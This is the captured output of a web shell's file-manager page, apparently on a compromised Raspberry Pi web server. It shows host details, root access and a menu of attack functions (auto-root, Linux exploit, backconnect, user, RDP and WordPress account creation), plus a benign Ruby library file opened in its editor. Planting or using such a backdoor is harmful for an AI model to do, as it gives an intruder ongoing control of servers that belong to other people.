Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
thread_safe /
[ HOME SHELL ]
Name
Size
Permission
Action
util
[ DIR ]
drwxr-xr-x
atomic_reference_cache_backend...
33.9
KB
-rw-r--r--
cache.rb
4.42
KB
-rw-r--r--
mri_cache_backend.rb
1.45
KB
-rw-r--r--
non_concurrent_cache_backend.r...
2.66
KB
-rw-r--r--
synchronized_cache_backend.rb
1.32
KB
-rw-r--r--
synchronized_delegator.rb
1.19
KB
-rw-r--r--
util.rb
700
B
-rw-r--r--
version.rb
492
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : synchronized_delegator.rb
require 'delegate' require 'monitor' # This class provides a trivial way to synchronize all calls to a given object # by wrapping it with a `Delegator` that performs `Monitor#enter/exit` calls # around the delegated `#send`. Example: # # array = [] # not thread-safe on many impls # array = SynchronizedDelegator.new([]) # thread-safe # # A simple `Monitor` provides a very coarse-grained way to synchronize a given # object, in that it will cause synchronization for methods that have no need # for it, but this is a trivial way to get thread-safety where none may exist # currently on some implementations. # # This class is currently being considered for inclusion into stdlib, via # https://bugs.ruby-lang.org/issues/8556 class SynchronizedDelegator < SimpleDelegator def setup @old_abort = Thread.abort_on_exception Thread.abort_on_exception = true end def teardown Thread.abort_on_exception = @old_abort end def initialize(obj) __setobj__(obj) @monitor = Monitor.new end def method_missing(method, *args, &block) monitor = @monitor begin monitor.enter super ensure monitor.exit end end end unless defined?(SynchronizedDelegator)
Close